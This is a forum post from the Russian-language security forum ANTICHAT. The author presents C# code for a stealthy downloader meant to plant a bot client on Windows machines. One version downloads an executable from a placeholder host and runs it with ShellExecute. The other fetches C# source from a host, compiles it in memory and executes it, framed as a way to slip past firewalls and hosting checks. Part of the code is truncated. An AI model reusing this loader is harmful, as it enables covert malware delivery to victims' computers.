ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

03.05.2016, 17:08
|
|
Guest
Сообщений: n/a
Провел на форуме: 187765
Репутация:
154
|
|
Всем Здрасте. Сижу я значит (а я это тот, кто боготворит Мелкомягких и в частности C#, powershell) и захотелось вот мне написать downloader shell(далее лоадер). Речь не пойдет о старом добром и уже затертым до дыр ShellExecute, или wget, или прочей мега известной функции, потому что........
ДА ПОТОМУ ЧТО ЭТО НИ ХРЕНА УЖЕ НЕ РАБОТАЕТ.
Но, обо всем по порядку.....
Начнем с требований к нашему лоадеру:
* В фоновом режиме скачивать и запускать C++/C# программы;
* Не палиться сетевыми экранами в windows при скачивании exe;
* Обойти хостинговые проверки и прочую чушь при попытке скачать с ftp Windows;
Сразу оговорюсь, сие способ имеет кучу недостатков и так же ограничений и спасает далеко не ото всего, но мою задачу он решил. А задача моя была, не много ни мало посадить клиент бота. (Надо ли говорить, что для работы сие прилажухи необходимо установленный .Net)
Попытка 1.
Я как человек особо ̶х̶и̶т̶р̶о̶ж̶о̶п̶ы̶й̶ умный пошел простым путем.
Залил файл на хостинг как есть, надеялся его скачать программно и запустить через мною любимую ShellExecute;
Код:
Code:
public enum ShowCommands : int
{
SW_HIDE = 0,
SW_SHOWNORMAL = 1,
SW_NORMAL = 1,
SW_SHOWMINIMIZED = 2,
SW_SHOWMAXIMIZED = 3,
SW_MAXIMIZE = 3,
SW_SHOWNOACTIVATE = 4,
SW_SHOW = 5,
SW_MINIMIZE = 6,
SW_SHOWMINNOACTIVE = 7,
SW_SHOWNA = 8,
SW_RESTORE = 9,
SW_SHOWDEFAULT = 10,
SW_FORCEMINIMIZE = 11,
SW_MAX = 11
}
[DllImport("shell32.dll")]
static extern IntPtr ShellExecute(IntPtr hwnd,string lpOperation,string lpFile,string lpParameters,string lpDirectory,
ShowCommands nShowCmd);
static void Main(string[] args)
{
string fileName = @"C:\1.exe";
using (WebClient myWebClient = new WebClient())
{
string url = @"http://WEB-HOST/shell/Shell.exe";
using (WebClient webClient = new WebClient())
{
webClient.DownloadFile(url, fileName);
}
}
ShellExecute(IntPtr.Zero, "open", fileName, String.Empty, String.Empty, ShowCommands.SW_SHOWNORMAL);
}
Как и предполагалось файл даже не удалось скачать, аналогично используя FTP сервис в Windws 8. 10. И вот тогда на ум приходит компиляция на лету...
Суть метода в том, что мы скачиванием не готовый файл, а исходный код, а компилируем его на лету. Благодаря радостям рефлексии, то один лоадер может работать и для C++ и F#, но не об этом.
Итак попытка #2.
Заливаем shell.txt со следующим содержанием
Код:
Code:
using System;
namespace ShellCode
{
public class Shell
{
public void Execute(string _value)
{
System.Diagnostics.Process.Start("calc.exe");
}
}
}
Ну и собственно код самого лодера.
Класс конструктор компилятора FabrikaShell
Код:
Code:
public class FabrikaShell
{
private CompilerResults Results = null;
public void Compile(string _source, string[] _assemblies)
{
CompilerParameters compilerParameters = new CompilerParameters();
compilerParameters.GenerateInMemory = true;
if (_assemblies != null)
{
foreach (string asm in _assemblies)
{
compilerParameters.ReferencedAssemblies.Add(asm);
}
}
Results = new CSharpCodeProvider()
.CompileAssemblyFromSource(compilerParameters, _source);
if (Results.Errors.Count > 0)
{
StringBuilder sb = new StringBuilder();
for (int i = 0; i parameters = new List();
parameters.Add("VALUE");
myMethod.Invoke(run, parameters.ToArray());
}
static void Main(string[] args)
{
public const string FileToPath = @"C:\1.txt";
using (WebClient myWebClient = new WebClient())
{
string url = @"http://URLTOSHELL/shell/Shell.txt";
using (WebClient webClient = new WebClient())
{
webClient.DownloadFile(url, FileToPath);
}
}
string code = String.Empty;
using (StreamReader rd = File.OpenText(FileToPath))
{
code = rd.ReadToEnd();
}
RunScript(code, "ShellCode.Shell");
Console.ReadKey();
}
}
ПРОФИТ

|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|